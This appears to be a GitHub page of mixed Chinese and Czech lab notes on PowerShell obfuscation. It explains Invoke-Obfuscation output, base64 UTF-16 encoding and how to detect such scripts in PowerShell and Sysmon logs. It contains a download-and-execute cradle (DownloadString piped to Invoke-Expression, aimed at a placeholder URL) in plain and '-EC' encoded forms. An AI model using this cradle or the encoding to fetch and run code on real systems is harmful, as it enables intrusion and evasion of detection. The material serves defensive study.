ZBenkova/cybersecurity_lab_obfuscation_in_powershell
GitHub: ZBenkova/cybersecurity_lab_obfuscation_in_powershell
这是一个讲解 PowerShell 混淆技术原理与检测方法的安全实验教程,帮助安全从业者理解恶意脚本如何隐藏代码以及如何进行逆向分析。
Stars: 0 | Forks: 0
# cybersecurity_lab_obfuscation_in_powershell
PowerShell 中的混淆是指隐藏或编码代码以使其难以阅读或分析的做法。攻击者通常利用它来逃避检测,但研究它有助于理解恶意软件行为、解码脚本,并改进威胁分析和事件响应中的防御技术。
Invoke-Obfuscation 是一款高级混淆工具。以下是一个示例,展示了它对我们的小脚本能做些什么。
这段代码可以解读如下:
首先执行的是 “cmd /c” – 即 Windows 命令行
由 cmd 执行的脚本以 “set” 开头 – 所以它创建了一个环境变量
“set” 以 “&&” 结束,之后我们可以看到 “rundll32 shell32.dll” 和 “shellexec_rundll” “powershell” – 这是一种运行 PowerShell 的复杂方法。它是通过调用库 shell32.dll 中的 “shellexec_rundll” 方法来完成的。
由 powershell 执行的脚本获取上述环境变量并将其通过管道传递给 iex (invoke-expression)。变量 mdr 的手法是生成字符串 的另一种巧妙方式,它是从变量名 MaximumDriveCount(匹配 *mdr*)得来的
环境变量的内容是另一个脚本,它获取一个 base64 字符串,对其进行解码和解压缩,然后通过管道传递给另一个 iex (invoke-expression)
base64 编码字符串的内容就是我们的小脚本
$web = New-Object System.Net.WebClient
$code = $web.DownloadString(‘https://my-url’)
Invoke-Expression $code
$ je promenna
stahneme nejaky kod, ulozime do promenne code
nebo zkracene:
iex((New-Object System.Net.WebClient).DownloadString(‘https://my-url’))
Ve wiresharku jsem si stahla string (=kod) ze stranky .exe nebo .ps a ulozila do promenne code, kdyz jsem pak spustila echo $code, tak se tento kod spustil
co jsme udelali?-vlastne jsme stahli a spustili malware (muze obsahovat kod ve zneni stahni neco, spust neco, poslu neco). zachytny system windowsu nehlasil nic.
PowerShell / Operational 日志将为脚本本身包含一个 Scriptblock 条目,并为从 github 下载并执行的脚本包含另一个 Scriptblock 条目。
这很方便,因为我们拥有了“dropper 脚本”和实际下载内容的证据。
因为我们的系统 mostly idle,这两个日志条目可能会紧挨在一起。在繁忙的系统上,情况可能并非如此。
如果我们有大量日志(例如,在 SIEM 中),我们可以通过查看 ActivityID 字段(可在 Details 选项卡中访问)来查看哪些日志行是相连的。
PowerShell 活动将在系统日志中可见。
在 Sysmon / Operational 日志中,我们将看到 PowerShell 启动,并在命令行中传递了脚本。
使用 PowerShell 生成脚本的 base64 版本
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
为了逃避自动化工具的检测,攻击者有时会对其脚本进行混淆。最基本的方法是使用 base64 编码,PowerShell 支持将其作为一种脚本编码形式。
其初衷是为了方便在命令行中指定脚本,而无需转义特殊字符。
我们可以使用 PowerShell 本身的 Convert 对象来生成脚本的编码形式。
请注意,你需要的是 Base64 编码的 Unicode (UTF16),而不仅仅是普通的 Base64。Base64 编码的 UTF16 通常可以通过其中包含大量 ‘A’ 字符来识别。
我使用 PowerShell 从远程 URL 下载了一串代码并将其存储在变量中。然后,通过使用 Invoke-Expression 执行它,我在内存中直接运行了代码,而没有将其保存为文件。这意味着我实际上下载并执行了潜在的恶意代码,模拟了恶意软件如何获取额外的 payload、运行命令或在系统上执行有害操作。
练习:
napisu
powershell -EC
tento kod zakoduji v cyberchef.org
iex((New-Object System.Net.WebClient).DownloadString(‘https://my-url’)) = aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoABggaAB0AHQAcABzADoALwAvAG0AeQAtAHUAcgBsABkgKQApAA==
powewrshell kod:
poweshell -EC aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoABggaAB0AHQAcABzADoALwAvAG0AeQAtAHUAcgBsABkgKQApAA==
标签:AI合规, AMSI绕过, Base64编码, DNS 反向解析, Invoke-Obfuscation, IPv6, OpenCanary, PowerShell, Web客户端, Wireshark, 云资产清单, 代码混淆, 免杀技术, 句柄查看, 命令执行, 威胁检测, 子域枚举, 安全实验, 库, 应急响应, 恶意代码分析, 恶意软件, 暴力破解检测, 网络信息收集, 网络安全, 网络安全审计, 脚本解码, 逆向工程, 配置文件, 隐私保护